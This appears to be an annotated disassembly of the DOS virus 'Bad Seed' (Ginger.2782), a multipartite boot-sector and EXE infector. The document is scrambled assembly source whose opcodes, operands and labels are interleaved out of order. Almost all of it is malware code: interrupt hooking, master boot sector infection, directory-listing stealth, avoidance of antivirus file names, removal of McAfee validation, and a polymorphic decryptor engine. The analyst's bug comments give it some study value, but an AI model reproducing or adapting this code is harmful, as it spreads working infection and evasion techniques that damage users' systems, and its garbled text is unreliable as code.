MOVSB 0301h OFFSET Buffer 1 DH
; Write the infected MBS ; to disk.
; INT 13h. DWORD PTR Old_Int13h
RETN
New_Int01h: PUSH MOV
BP BP, SP
; Setup a stack pointer.
CMP JE
CS:Tunnel_Success, 1 Clear_TF
; Tunnel already finished? ; *** Pointless code, since ; the TF is already cleared.
CMP = JA
[BP+(2*2)], 1234h WORD PTR $-2 Exit_Int01h
; We're in the DOS kernel?
LES
AX, [BP+(1*2)]
; Get instruction's CS:IP.
MOV MOV
CS:Old_Int13h, AX CS:Old_Int13h+2, ES
; Save it.
MOV
CS:Tunnel_Success, 1
; Mark tunnel successful.
Clear_TF:
AND
[BP+(3*2)], NOT 100h
; Disable the trapflag.
Exit_Int01h:
POP
BP
First_MCB
PUSH PUSH
AX ES
POP ES POP AX
IRET
New_Int13h: CMP JNE
CX, 1 JMP_Old_Int13h
; Track 0, sector 1 ?
CMP JNE
DX, 80h JMP_Old_Int13h
; Head 0, of the 1st HD ?
PUSH PUSH
CMP JA
AH, 03h JMP_Old_Int13h
; Is it a sector write?
CMP JB
AH, 02h JMP_Old_Int13h
; Or a sector read?
AL Read_Orig_MBS
; Only the MBS gets read?
ADD INC
BX, 512 CX
; Next sector in buffer. ; Next sector.
PUSHF CALL
; DWORD PTR CS:Old_Int13h ; ; ;
MOV
AL, 1
; Just the MBS.
MOV MOV
CX, CS:Home_ST DX, CS:Home_HD
; Load address of original ; MBS.
PUSHF CALL
; Read/write the original DWORD PTR CS:Old_Int13h ; MBS.
RETF
2
CX DX DEC JZ
PUSH PUSH
AX BX
Process the other sectors first, so the MBS action can be redirected to the clean one.
POP BX POP AX Read_Orig_MBS:
POP DX POP CX
JMP_Old_Int13h: JMP
New_Int1Ch: PUSH PUSH PUSH PUSH
DWORD PTR CS:Old_Int13h
AX BX ES DS XOR MOV
PUSH POP DS
; Return with flags.
AX, AX ES, AX
; ES = IVT.
LES
BX, ES:[(21h*4)]
; Get INT 21h.
MOV
AX, ES
; AX = segment of INT 21h.
CMP JA
AX, 800h Exit_Int1Ch
; Is it too high? ; Then assume DOS ain't ; loaded yet.
CMP
AX, Old_Int21h+2
; Has the DOS segment
CS
Save_Int21h:
JNE
Save_Int21h
; changed since boot-up?
CMP JE
BX, Old_Int21h Exit_Int1Ch
; Has the DOS offset changed ; since boot-up?
MOV MOV
Old_Int21h, BX Old_Int21h+2, ES
; Save INT 21h.
XOR MOV
AX, AX DS, AX
; DS = IVT.
LES
BX, DWORD PTR CS:Old_Int1Ch
MOV MOV
DS:[(1Ch*4)], BX DS:[(1Ch*4)+2], ES
; Restore original INT 1Ch.
LES
BX, DS:[(13h*4)]
; Get INT 13h.
MOV MOV
CS:Old_Int13h, BX CS:Old_Int13h+2, ES
; Save INT 13h.
; Hook INT 13h. MOV MOV
DS:[(13h*4)], OFFSET New_Int13h_Copy DS:[(13h*4)+2], CS
; Hook INT 21h.
Exit_Int1Ch: POP ES POP BX POP AX
MOV MOV
DS:[(21h*4)], OFFSET New_Int21h DS:[(21h*4)+2], CS
POP
DS
IRET
New_Int21h:
Check_Dir_St:
CMP JB
AH, 11h Check_Dir_St
; Findfirst (FCB) ?
CMP JA
AH, 12h Check_Dir_St
; Findnext (FCB) ?
CALL
FCB_Stealth
; Carry-out the FCB stealth.
RETF
2
; Return with flags.
CMP JB
AH, 4Eh Check_TSR_Test
; Findfirst (dir) ?
CMP JA
AH, 4Fh Check_TSR_Test
; Findnext (dir) ?
CALL
Dir_Stealth
; Carry-out the dir stealth.
RETF
2
; Return with flags.
AX, 0FE02h Check_Message
; Virus' residency check?
Check_TSR_Test: CMP JNE
NOT
AX
IRET Check_Message:
; Return TSR mark. ; Return to the caller.
CMP JNE
AX, 0FE03h Check_Exec
; Call to display message?
CMP JNZ
CS:Infect_Year, 0 JMP_Old_Int21h
; The date was correct? ; Else just ignore the call.
CALL
Display_Message
IRET Check_Exec:
Init_Stack:
PUSH POP SS
CMP JE
AX, 4B00h Init_Stack
; Program execute?
CMP JNE
AH, 4Ch JMP_Old_Int21h
; Program terminate?
MOV MOV
CS:Old_SP, SP CS:Old_SS, SS
; Save the current stack.
CLI CS MOV STI
SP, OFFSET Validate_Header+128
CMP JNE
AH, 4Ch Do_Infect_File
CALL
Check_Activate
JMP
Restore_Stack
Do_Infect_File: CALL Restore_Stack:
; Setup own stack.
; Was it program terminate?
Infect_File
CLI MOV MOV STI
SS, CS:Old_SS SP, CS:Old_SP
JMP
$+2
; *** Pointless instruction.
CS:Int_Count
; Update random counter.
JMP_Old_Int21h: INC
; Restore the original stack.
JMP
DWORD PTR CS:Old_Int21h
MOV IRET
AL, 03h
; Fail operation.
AH, 2Fh Do_Old_Int21h
; Get current DTA.
New_Int24h:
FCB_Stealth: PUSH PUSH
BX ES
PUSH
AX MOV CALL
POP AX PUSHF CALL
PUSH
Get_FCB_Time:
; Execute the call. DWORD PTR CS:Old_Int21h
PUSHF AX CMP JE
AL, -1 Exit_FCB_St
; Error? ; Then get out.
CMP JNE
ES:[BX.FCB_Drive], -1 Get_FCB_Time
; Is it an extended FCB ?
ADD
BX, 7
; Then skip extended stuff.
MOV
AL, BYTE PTR ES:[BX.FCB_Time]
AND
AL, 00011111b
; Mask-out seconds value.
CMP JNE
AL, (62/2) Exit_FCB_St
; File is infected?
; Restore the original filesize.
Exit_FCB_St:
SUB SBB
ES:[BX.FCB_Size], Virus_Size ES:[BX.FCB_Size+2], 0
POP POPF
AX
POP ES POP BX RETN
Dir_Stealth: PUSH PUSH
BX ES
PUSH
AX MOV CALL
AH, 2Fh Do_Old_Int21h
; Get current DTA.
PUSHF CALL
DWORD PTR CS:Old_Int21h
PUSHF AX JC
Exit_Dir_St
MOV
AL, BYTE PTR ES:[BX.Dir_Time]
AND
AL, 00011111b
; Mask-out seconds value.
CMP JNE
AL, (62/2) Exit_Dir_St
; File is infected?
POP AX
PUSH
; Execute the call.
; Get out if error.
; Restore original filesize.
Exit_Dir_St:
SUB SBB
ES:[BX.Dir_Size], Virus_Size ES:[BX.Dir_Size+2], 0
POP POPF
AX
MOV JMP
AH, 40h Do_Read_Write
; Write to file.
MOV CALL JC
AH, 3Fh Load_BX_Int21h Exit_Re_Wr
; Read from file.
SUB
AX, CX
; Set's CF if not all bytes ; were read.
CX, CX DX, DX AX, 4202h Load_BX_Int21h
; Seeks to end of file.
CX, DX, AX, BX,
; Seeks to begin of file.
POP ES POP BX RETN
Write_File:
Read_File: Do_Read_Write:
Exit_Re_Wr:
; If error then exit with CF.
RETN
Seek_EOF:
Seek_EOF_Rel:
XOR XOR MOV JMP
; Seeks EOF relative.
Seek_BOF: XOR XOR MOV Load_BX_Int21h: MOV Do_Old_Int21h:
CLI PUSHF CALL
CX DX 4200h CS:File_Handle
; Load the filehandle. ; Do the DOS call.
DWORD PTR CS:Old_Int21h
RETN
Infect_File: PUSH PUSH PUSH PUSH PUSH PUSH PUSH PUSH
AX BX CX DX SI DI ES DS CALL JNC
Check_File_Name Init_Infect
JMP
Exit_Infect
; Filename can't contain 'SC' ; or a 'V'.
Init_Infect: PUSH PUSH POP DS
PUSH DS
DX
CS
MOV CALL
AX, 3524h Do_Old_Int21h
; Get INT 24h.
MOV MOV
Old_Int24h, BX Old_Int24h+2, ES
; Save it.
MOV MOV CALL
AX, 2524h DX, OFFSET New_Int24h Do_Old_Int21h
; Install own INT 24h.
POP
DS
; File path.
MOV CALL
AX, 4300h Do_Old_Int21h
; Get file's attributes.
MOV
CS:Old_Attr, CX
; Save attributes.
JNC
Blank_Attr
DB
0E9h, 7Eh, 0
POP DX
; * JMP Restore_Int24h * Blank_Attr:
MOV XOR CALL JC
AX, 4301h CX, CX Do_Old_Int21h Restore_Int24h
; Blank file attributes.
MOV CALL JC
AX, 3D02h Do_Old_Int21h Restore_Attr
; Open the file read/write.
MOV
File_Handle, AX
; Save the filehandle.
MOV CALL JC
AX, 5700h Load_BX_Int21h Restore_Date
; Get file's date & time.
MOV MOV
Old_File_Date, DX Old_File_Time, CX
; Save them.
CALL
Seek_BOF
; Seek to the start of the ; file. *** file pointer is ; already at BOF.
MOV MOV CALL JC
DX, OFFSET Header CX, 28 Read_File Restore_Date
; Read the file's header. ; *** Reading in more than ; needed.
PUSH PUSH
DX DS
PUSH POP DS
CS
PUSH POP ES
DS
MOV MOV
DI, OFFSET Check_Activate CX, 32
CMP JNE
Header.EXE_ID, 'ZM' Restore_Date
; It's an .EXE-file? ; If not, abort infect.
MOV CLD REPNE JNE
AX, Header.Checksum
; See if the checksum matches ; a semi-random word in the ; viruscode.
OR
Old_File_Time, (62/2)
JMP
Restore_Date
Check_Validate: CALL JC
Restore_Date:
SCASW Check_Validate
; *** Infected files already ; have 62 seconds.
Remove_Validate Restore_Date
; Remove McAfee validation ; shit.
CALL
Add_Virus
; Add the virus to the file.
MOV MOV MOV CALL
AX, 5701h DX, Old_File_Date CX, Old_File_Time Load_BX_Int21h
; Restore file's date & time.
MOV CALL
AH, 3Eh Load_BX_Int21h
; Close the file.
POP
DS
; File path.
MOV MOV CALL
AX, 4301h CX, CS:Old_Attr Do_Old_Int21h
; Restore file's original ; attributes.
POP DX Restore_Attr:
Restore_Int24h: MOV LDS CALL
AX, 2524h ; Restore original INT 24h. DX, DWORD PTR CS:Old_Int24h Do_Old_Int21h
Exit_Infect: POP ES POP DI POP SI POP DX POP CX POP BX POP AX
DS
POP
RETN
; Returns CF when the filename holds 'SC' or a 'V', this includes most ; anti-virus programs, SCAN, TBSCAN, VIRSCAN, CPAV, NAV, IBMAV, etc. Check_File_Name: PUSH DS POP ES MOV MOV
DI, DX CX, -1
; Find the end of the string.
Find_SCan:
XOR CLD REPNE
AL, AL
NOT
CX
MOV
DI, DX
MOV
AX, 'CS'
MOV
SI, CX
SCASW JE
Bad_File_Name
; Found 'SC' ? ; Then bail.
DEC
DI
; We're doing bytes.
LOOP
Find_SCan
MOV MOV MOV REPNE JE
CX, SI DI, DX AL, 'V' SCASB Bad_File_Name
SCASB ; CX = length of entire path.
; 'SC'.
; Search for a 'V'.
; *** It would have been better if only the filename ; was searched instead of the entire path. Good_File_Name: CLC
; Filename is OK.
RETN Bad_File_Name:
STC
; Filename ain't OK!
RETN
; Removes a possible McAfee validation code from the file. Remove_Validate: MOV CX, -1 ; Seek to the last 10 bytes. MOV DX, -10 CALL Seek_EOF_Rel MOV MOV CALL JC
DX, OFFSET Validate_Header CX, 8 Read_File Exit_Remove_Va
CMP JNE
Validate_Header, 0FDF0h ; Check for the signature. Not_Protected
CMP JNE
Validate_Header+2, 0AAC5h Not_Protected
MOV MOV CALL
CX, -1 DX, -9 Seek_EOF_Rel
; Seek to the last 9 bytes.
; Trash signature. MOV MOV CALL
; Read 8 from there.
DX, OFFSET Validate_Header+6 CX, 4 Write_File
Exit_Remove_Va: RETN Not_Protected:
CLC
RETN
Add_Virus:
Calc_Hdr_Size:
CALL
Seek_EOF
MOV MOV
SI, AX DI, DX
MOV
BX, OFFSET Header
MOV MUL
AX, [BX.File_512_Pages] ; Calculate 512-byte pages Word_512 ; of the file.
SUB SBB JNC
AX, SI DX, DI Calc_Hdr_Size
JMP
Exit_Add_Virus
MOV MUL
AX, [BX.Header_Size] Word_16
; Calculate headersize.
SUB SBB
SI, AX DI, DX
; DI:SI = imagesize.
MOV MOV ADD
AX, [BX.Program_SS] Host_SS, AX Host_SS, (256/16)
; Save file's original SS.
MUL
Word_16
; DX:AX = SS in bytes.
ADD
AX, [BX.Program_SP]
; Plus SP value. ; *** Missing a ADC DX, 0.
SUB SBB JC
AX, SI DX, DI Save_CS
; Stack points inside the ; program image?
SUB SBB JC
AX, 128 DX, 0 Exit_Add_Virus
; Original program must have ; atleast 128 bytes of stack. ; Else get out.
; DI:SI = old filesize.
; Physical size exceeds image ; size? Then it's usually an ; overlay, so bug out.
; Add PSP size.
; Adjust the stack so the viruscode ; doesn't get overwritten.
Save_CS:
ADD
[BX.Program_SS], (Virus_Size+15)/16
MOV ADD
AX, [BX.Program_CS] AX, (256/16)
; Old CS. ; Add size of PSP.
MOV
Host_CS, AX
; Save CS.
MOV MOV
AX, [BX.Program_IP] Host_IP, AX
; Save IP.
CALL
Seek_EOF
ADD ADC
AX, Virus_Size DX, 0
; Calculate size after ; infection.
DIV
Word_512
; Calculate imagesize.
INC
AX
; Round upwards.
; Set new imagesize. MOV MOV
Header.File_512_Pages, AX Header.Image_Mod_512, DX
MOV MOV DIV
DX, DI AX, SI Word_16
; DI:SI = old imagesize.
MOV
Header.Program_CS, AX
; Set new CS.
MOV
BX, DX
; BX = new IP.
ADD MOV
DX, OFFSET Decryptor Header.Program_IP, DX
; Set new IP.
CALL JC
Poly_Engine Exit_Add_Virus
; Add a polymorphic virus ; copy to the host.
OR
Old_File_Time, (62/2)
; Mark the file as infected ; by setting the second value ; to an invalid setting.
MOV AND SHL
BX, Int_Count BX, 00011111b BX, 1
; Random counter. ; 0 - 31. ; MUL 2 (for word index).
; Calculate new CS:IP.
; Put a semi-random word from the viruscode in the ; header's checksum field to mark the infection. MOV MOV
AX, [(Check_Activate-START)+BX] Header.Checksum, AX
CALL
Seek_BOF
MOV MOV CALL
CX, 28 DX, OFFSET Header Write_File
; Write the updated header ; to the target.
Exit_Add_Virus: RETN
; ; ; ;
The decryptors being generated are quite simple, they are effectively enough against pure signature scanners, though can be found with a simple algorithmic approach. A pecularity is that the decryptors use themselves as a key, which drastically complicates debugging.
Poly_Engine: PUSH
BP XOR INT
AH, AH 1Ah
MOV MOV
AX, DX BP, DX
; Get BIOS tick count.
; BP is used as a pointer to ; random data.
PUSH POP ES
DS
MOV MOV MOV CLD REP
DI, OFFSET Decryptor SI, DI CX, (64/2)
; Fill the decryptor area ; with a random word.
XOR MOV
DX, DX ES, DX
; Zero ES.
CALL CALL CALL
Make_Load_DS Make_Load_Ptr Make_Decr_Loop
; Construct the decryptor.
MOV
BYTE PTR [SI], 0E9h
; JMP 16-bit displacement.
MOV SUB SUB
DI, OFFSET Init_Virus DI, SI DI, 3
; Calculate displacement ; to Init_Virus.
MOV
[SI], DI
; Set displacement.
MOV CALL
AX, OFFSET Append_Body_Encrypted_Copy AX
DEC
BP
TEST JNZ
BYTE PTR ES:[BP], 00000010b Make_Load_DS_2
STOSW
INC SI
POP BP RETN
Make_Load_DS:
Make_Load_DS_1: MOV INC SI
; Adjust random pointer. ; *** Not needed as this is ; the first reference to it. ; Test a random bit.
BYTE PTR [SI], 0Eh
; PUSH CS
CALL
Add_Junk
; Add a garbage instruction.
MOV
BYTE PTR [SI], 1Fh
; POP DS
CALL
Add_Junk
INC SI
RETN Make_Load_DS_2: MOV INC SI INC SI
INC SI INC SI
[SI], 0CB8Ch
CALL
Add_Junk
MOV
[SI], 0DB8Eh
; MOV BX, CS
; MOV DS, BX
CALL
Add_Junk
AND
CH, 11111110b
TEST JZ
BYTE PTR ES:[BP], 00000010b Make_MOV_BX
OR
CH, 00000001b
; SI is start code.
MOV
BYTE PTR [SI], 0BEh
; MOV SI, xxxx
MOV INC
[SI], BX SI
; Start virus in CS or ; start decryptor in CS.
CALL
Add_Junk
ADD
BX, OFFSET Decryptor
TEST JZ
CH, 00000001b Make_Counter
; BX is start code?
MOV
BYTE PTR [SI], 0BBh
; MOV BX, xxxx
MOV INC
[SI], BX SI
; Start virus in CS or ; start decryptor in CS.
CALL
Add_Junk
ADD
BX, OFFSET Decryptor
TEST JZ
CH, 00000001b Make_MOV_SI
; BX is start code? ; Then use SI as start ; decryptor.
SUB
BX, OFFSET Decryptor
; Restore BX to virus offset.
CALL
Add_Junk
RETN
Make_Load_Ptr: ; BX is start code. ; *** CX is already zero.
DEC BP
Make_MOV_SI: INC SI
INC SI
Make_MOV_BX: INC SI
INC SI
Make_Counter:
; CX is always the counter register. MOV
BYTE PTR [SI], 0B9h
MOV
AX, OFFSET Decryptor
MOV
[SI], AX
CALL CALL
Add_Junk Add_Junk
; MOV CX, xxxx
INC SI
INC SI INC SI
; Size of encrypted code.
RETN
Make_Decr_Loop: MOV MOV
AH, 14h DH, 17h
; DL, [SI] ; DL, [BX]
TEST JZ
CH, 00000001b Make_Load_Byte
; BX is start of code? ; Yeah.
XCHG
AH, DH
; Else SI is.
DI, SI
; Save start decrypt in DI.
MOV
AL, 8Ah
; MOV reg8
MOV
[SI], AX
; MOV DL, [SI]/[BX]
CALL
Add_Junk
XOR
DL, DL
Make_Load_Byte: MOV
INC SI INC SI
; ADD BYTE PTR
; Initialize the encryptor. MOV BYTE PTR DS:[Append_Body_Encrypted_Copy+(EncryptorAppend_Body_Encrypted)], 28h ; SUB BYTE PTR DEC BP TEST JZ
BYTE PTR ES:[BP], 00000010b Store_Decrypt
MOV
DL, 30h
; XOR BYTE PTR
; Initialize the encryptor. MOV BYTE PTR DS:[Append_Body_Encrypted_Copy+(EncryptorAppend_Body_Encrypted)], DL Store_Decrypt: INC SI INC SI
MOV
[SI], DX
; Store decrypt instruction.
MOV
[SI], 4346h
; INC SI / INC BX
CALL
Add_Junk
MOV MOV
AX, 0FE81h CL, 0BEh
; CMP SI, xxxx ; MOV SI, xxxx
TEST JZ
CH, 00000001b Make_CMP_End
; BX is start of code? ; Yip-yip.
MOV MOV
AH, 0FBh CL, 0BBh
; CMP BX, xxxx ; MOV BX, xxxx
MOV
[SI], AX
; Make CMP end_decryptor.
INC SI INC SI
Make_CMP_End: INC SI INC SI
PUSH
BX ADD
BX, 64
; Offset decryptor + fixed ; size of decryptor.
MOV
[SI], BX
; (end of decryptor).
POP
BX
; Start of code.
MOV
BYTE PTR [SI], 72h
; JB xx
MOV
DX, SI
; DX = displacement patch ; offset.
CALL
Add_Junk
MOV
[SI], CL
; MOV BX/SI, xxxx
MOV
[SI], BX
; Start decryptor.
MOV SUB
AX, SI AX, DX
; Calculate displacement ; between DX and SI.
MOV MOV
BX, DX [BX], AL
; JB displacement offset. ; Patch it.
CALL CALL
Add_Junk Add_Junk
MOV
BYTE PTR [SI], 0E2h
; LOOP xx
SUB DEC
DI, SI DI
; Displacement between here ; and start decrypt loop.
MOV
AX, DI
MOV
[SI], AL
CALL
Add_Junk
TEST JZ
BYTE PTR ES:[BP], 00001111b Exit_Add_Junk
MOV
AL, ES:[BP]
INC SI INC SI
INC SI
INC SI
INC SI
INC SI INC SI
DEC AX
INC SI
; Store displacement.
INC SI
RETN
Add_Junk: DEC BP
DEC BP
TEST JZ
AL, 00000010b Junk_CMP
TEST JZ
AL, 00000100b Junk_TEST
TEST JZ
AL, 00001000b Junk_NOP
MOV
[SI], 0C789h
JMP
Exit_Add_Junk
MOV
BYTE PTR [SI], 90h
JMP
Exit_Add_Junk
Junk_TEST:
MOV
AL, 85h
Make_Operand:
DEC MOV
BP AH, ES:[BP]
TEST JZ
AH, 00000010b Set_reg_reg
DEC
AL
; r16 -> r8.
OR
AH, 11000000b
; reg/reg operation.
MOV
[SI], AX
; Store junk instruction.
JMP
Exit_Add_Junk
DEC
BP
TEST JZ
BYTE PTR ES:[BP], 00000010b Junk_CLD
MOV JMP
AL, 39h Make_Operand
; CMP r16, r16
Junk_CLD: INC SI
MOV
BYTE PTR [SI], 0FCh
; CLD
Exit_Add_Junk:
RETN
; MOV DI, AX
INC SI INC SI
Junk_NOP: INC SI
Set_reg_reg:
; NOP
; TEST r16
INC SI INC SI
Junk_CMP:
Append_Body_Encrypted: CALL
Crypt_Virus
MOV MOV MOV MOV
AH, BX, DX, CX,
PUSHF CALL
DWORD PTR Old_Int21h
40h File_Handle 0 Virus_Size
Crypt_Loop:
JC
Crypt_Loop
SUB
AX, CX
PUSHF
CMP byte ptr ds:Append_Body_Encrypted_Copy+(EncryptorAppend_Body_Encrypted), 28h ; SUB JNE Do_Crypt_Virus MOV byte ptr ds:Append_Body_Encrypted_Copy+(EncryptorAppend_Body_Encrypted), 0 Do_Crypt_Virus: CALL Crypt_Virus POPF RETN
Crypt_Virus: MOV MOV MOV
BX, 0 SI, OFFSET Decryptor CX, OFFSET Decryptor
Crypt_Byte:
MOV
DL, [SI]
; Get key from the decryptor.
XOR =
[BX], DL BYTE PTR $-2
; Encrypt/decrypt byte.
Encryptor
INC
SI
CMP JB
SI, OFFSET Old_Int13h Loop_Crypt_B
MOV
SI, OFFSET Decryptor
LOOP
Crypt_Byte
PUSH
CS
TEST
CL, BL
POP
DS
MOV
BX, 0
TEST
SP, AX
MOV
SI, OFFSET Decryptor
INC BX
Loop_Crypt_B: RETN
Decryptor:
; Load DS with CS.
; Decryptor pointer.
CLD TEST
CH, BL
MOV
CX, OFFSET Decryptor
TEST
AX, CX
; Count to decrypt.
Decrypt_Byte:
MOV
DL, [SI]
DB
039h, 0D8h
; Get the key from the ; decryptor.
; * CMP AX, BX * XOR
[BX], DL
; Decrypt byte.
INC INC
SI BX
; Update code & decryptor ; pointers.
CMP JB
SI, OFFSET Old_Int13h Decrypt_Loop
; Completely ran over the ; decryptor?
MOV
SI, OFFSET Decryptor
; Then reload the pointer.
Decrypt_Byte
; Decrypt all bytes.
JMP
Init_Virus
; Jump to the real start.
ORG
Decryptor+64
; Pad decryptor size.
DW
0, 0
DW DW DW DW DW DW DW DW DW DW
0 0 0 0 0 0 0, 0 0, 0 0, 0 0
DB
(New_Int1Ch-New_Int13h) DUP(0)
NOP
NOP
Decrypt_Loop:
NOP LOOP CLD
Old_Int13h End_Body: Buffer: File_Handle Old_SP Old_SS Old_Attr Old_File_Date Old_File_Time Old_Int1Ch Old_Int21h Old_Int24h Int_Count New_Int13h_Copy:
Append_Body_Encrypted_Copy:
Header
DB
(Decryptor-Append_Body_Encrypted) DUP(0)
DW
14 DUP(0)
Validate_Header DW ORG End_Heap:
4 DUP(0) Buffer+512
Carrier: MOV INT
AX, 4C00h 21h
EXE_Header EXE_ID Image_Mod_512 File_512_Pages Reloc_Items Header_Size Min_Size_Mem Max_Size_Mem Program_SS Program_SP Checksum Program_IP Program_CS Reloc_Table EXE_Header
STRUC DW DW DW DW DW DW DW DW DW DW DW DW DW ENDS
0 0 0 0 0 0 0 0 0 0 0 0 0
Find_FN_FCB FCB_Drive FCB_Name FCB_Ext FCB_Attr FCB_Reserved FCB_Time FCB_Date FCB_Start_Clust FCB_Size Find_FN_FCB
STRUC DB DB DB DB DB DW DW DW DW ENDS
0 8 DUP(0) 3 DUP(0) 0 10 DUP(0) 0 0 0 0, 0
Find_FN_Dir Dir_Reserved Dir_Attr Dir_Time Dir_Date Dir_Size Dir_Name Find_FN_Dir
STRUC DB DB DW DW DW DB ENDS
21 DUP(0) 0 0 0 0, 0 13 DUP(0)
END
Init_Virus
; ; ; ; ; ;
Bad Seed (Ginger.2782) disasm. Multipartite full-stealth MBS/COM/EXE. Quite a good virus for it's time (1992), yet the coding style could be made more compact, and it's buggy aswell. Bugs marked with '***'. T-2000/IR, February 2000 - September 2000.
Virus_Size Virus_Size_512 Virus_Size_1024 COM EXE Boot File
.MODEL .CODE
TINY
EQU EQU EQU EQU EQU EQU EQU
(End_Body-START) ((End_Body-START)+511)/512 3 1 0 0 1
CALL
File_Entry
START:
Boot_Loader:
; *** This code assumes DS = 0, which ; does not necessarly have to be the case. ; Restore original word that was temporary ; replaced with the 55AAh bootmarker.
Original_Word
MOV =
WORD PTR DS:[7C00h+510], 0 WORD PTR $-2
; Steal 3k of DOS memory to hide the virus in. SUB
WORD PTR DS:[413h], Virus_Size_1024
INT
12h
; Get new DOS memory size.
MOV SHL
CL, 6 AX, CL
; Calculate segment where to ; hide.
MOV
ES, AX
; ES = virus segment.
; Read rest of virusbody off disk. MOV MOV MOV INT
AX, 0200h+(Virus_Size_512-1) BX, 512+3 CX, 3 13h
MOV XOR CLD STOSB
AL, 0E8h DI, DI
MOV STOSW
AX, (File_Entry-Boot_Loader)
MOV MOV REP
CX, (512/2) SI, 7C00h MOVSW
; Initialize some variables.
; CALL xxxx opcode. ; A call to the entrypoint ; for file infections.
; Copy virus bootsector ; too to virus segment.
PUSH
MOV MOV MOV MOV
ES:Ofs_Old_Int13h, OFFSET Old_Int13h ES:Ofs_Real_Int13h, OFFSET Real_Int13h ES:Origin, Boot ES:File_Handle, 0
MOV
SI, OFFSET Hook_Ints
PUSH SI
ES
MOV MOV MOV
AX, OFFSET Boot_Int21h SI, OFFSET Boot_Loader DI, OFFSET Old_Int08h
; Relocated virus code.
NOP RETF
; Jump to relocated code.
EXE_Data: EXE_SP EXE_SS EXE_IP EXE_CS
DW DW DW DW
0 0 0 0
DB
'You can''t catch the Gingerbread Man!!'
XCHG
BP, AX
; Save AX (FCB-status) in BP.
POP
SI
; POP delta offset.
PUSH DS
ES
; Save ES & DS (PSP).
MOV INT
AX, 0EEE7h 21h
; See if virus is already ; TSR.
CMP JE
AX, 0D703h JMP_Run_Host
; It is? ; Then bail to host.
MOV
ES, ES:[2Ch]
; Environment block.
CLD XOR
DI, DI
PUSH
SI
File_Entry:
PUSH PUSH POP DS
Find_ComSpec:
CS
; Scan for COMSPEC= to find the command interpreter. ADD MOV REPE
SI, (ComSpec_String-Boot_Loader) CX, 8 CMPSB
PUSHF CALL
Get_End_DI
; Go to the next setting.
POPF JE
Save_ComSpec
; Yeah got it..
POP SI
JMP_Run_Host: DB
JNE
Find_ComSpec
JMP
Run_Host
; Repeat the search.
'Bad Seed - Made in OZ'
Save_ComSpec: PUSH POP DS POP ES
PUSH ES
DS
; Swap DS & ES.
XCHG
SI, DI
; SI = end of path to command ; interpreter.
STD LODSW
Copy_ComSpec:
; SI = last byte of path to ; command interpreter.
MOV DEC
CX, SI CX
; Remember end offset. ; Exclude the '\'.
ADD
DI, 12
; ; ; ;
CMP JNE
AL, '\' Copy_ComSpec
; Copied entire filename? ; Otherwise just go on.
SUB
CX, SI
; Get the size of the command ; interpreter filename.
DI = end of ComSpec_Value. *** Buffer is 1 byte too small, now filenames with 8 characters will fuck up.
LODSB STOSB
POP SI PUSH POP DS
CS
; Keep it for later use.
PUSH
MOV
[SI+(ComSpec_Length-Boot_Loader)], CL
MOV
BYTE PTR [SI+(Origin-Boot_Loader)], File
XOR MOV
AX, AX ES, AX
; ES = IVT.
SI ; Copy the stealth code to an unused piece ; of memory (only used during bootup). ADD MOV MOV CLD REP
SI, (File_Int21h-Boot_Loader) DI, 600h CX, (End_Body-File_Int21h)
MOV
DS, CX
MOVSB
POP SI ; DS = IVT.
; Patch appropriate offsets.
Hook_Ints:
MOV MOV
DS:600h+(Ofs_Old_Int13h-File_Int21h), 600h+(Old_Int13h-File_Int21h) DS:600h+(Ofs_Real_Int13h-File_Int21h), 600h+(Real_Int13h-File_Int21h)
MOV
AX, 600h
; INT 21h ISR to hook up.
CLI ; Starting from a bootsector or file? CMP JNE
BYTE PTR CS:[SI+(Origin-Boot_Loader)], Boot Hook_Int21h
MOV XCHG STOSW
AX, OFFSET New_Int08h DS:[(08h*4)], AX
MOV XCHG STOSW
AX, CS DS:[(08h*4)+2], AX
MOV
DS:[(21h*4)+2], 0FFFFh
; Hook INT 08h.
; ; ; ;
Initialize DOS segment to a dummy value so the virus can determine when DOS has been loaded.
STI
Hook_Int21h:
ADD JMP
DI, (Old_Int13h-(Old_Int08h+4)) SHORT Init_Tunnel_13
XCHG STOSW
DS:[(21h*4)], AX
; Hook INT 21h.
XCHG
BX, AX
; Save original INT 21h.
MOV XCHG STOSW
AX, ES DS:[(21h*4)+2], AX
XCHG STOSW
BX, AX
XCHG STOSW
BX, AX
; Store original INT 21h ; another time.
; Hook INT 01h for recursive tunneling. LEA XCHG STOSW
AX, CS:[SI+(New_Int01h-Boot_Loader)] DS:[(01h*4)], AX
MOV XCHG STOSW
AX, CS DS:[(01h*4)+2], AX
STI Init_Tunnel_13: CLC PUSH Save_Int13h:
; Save INT 13h, then tunnel ; INT 13h.
ES PUSH
DS
LDS
BX, DS:[(13h*4)]
; Get (tunneled) INT 13h.
MOV STOSW
AX, BX
; Save (tunneled) INT 13h.
MOV STOSW
AX, DS
JC
Pick_i13h_ISR
; Already tunneled INT 13h ?
PUSH
DS
; ES:BX = INT 13h.
PUSHF PUSH CALL
CS Tunnel_Int13h
; Recursively tunnel INT 13h ; if origin is file, else ; just save INT 13h.
STC JC
Save_Int13h
; Set flag to only save ; INT 13h.
POP
DS
POP ES
POP DS POP ES
Pick_i13h_ISR: PUSH
SI CMP
BYTE PTR CS:[SI+(Origin-Boot_Loader)], Boot
PUSHF ; Stealth ISR. MOV
SI, 600h+(Boot_Int13h-File_Int21h)
JNE
Hook_Int13h
; Stealth/infection ISR.
Hook_Int13h:
MOV
SI, OFFSET Boot_Int13h
CLI MOV MOV STI
DS:[(13h*4)], SI DS:[(13h*4)+2], ES
; Hook the virus up.
POPF POP SI PUSH POP DS
CS
JE
Run_Old_Boot
; Pass control to real BS.
; If running from a file then go infect the MBS. PUSH
ES
PUSH POP ES
CS
MOV LEA MOV MOV INT
AX, BX, CX, DX, 03h
0201h ; Read the MBS of HDD 1. CS:[SI+(Buffer-Boot_Loader)] 1 80h
JNC
Scan_Part_Tbl
; Go on if no error.
JMP
SHORT Swap_Boot_ID
; Error, bail.
Scan_Part_Tbl:
MOV MOV
CX, 4 DI, 1BEh
; Maximum of 4 partitions. ; Start of partition info.
Find_Act_Part:
TEST JNZ
BYTE PTR [BX+DI], 80h Chk_Partition
; It's the active partition?
ADD
DI, 16
; Next partition.
LOOP
Find_Act_Part
; Check all partitions.
POP MOV
DS DX, DS
; Restore PSP. ; Save PSP in DX.
POP ES
Run_Host:
POP ES ; This host is of EXE-type? CMP JE
CS:[SI+(Host_Header-Boot_Loader)], 'ZM' Restore_EXE
; Restore .COM-file in memory and execute it. ADD MOV
SI, (Host_Header-Boot_Loader) DI, 100h
PUSH PUSH
CS DI
; Push entrypoint of host ; *** CS mod ain't needed.
MOVSB MOVSW
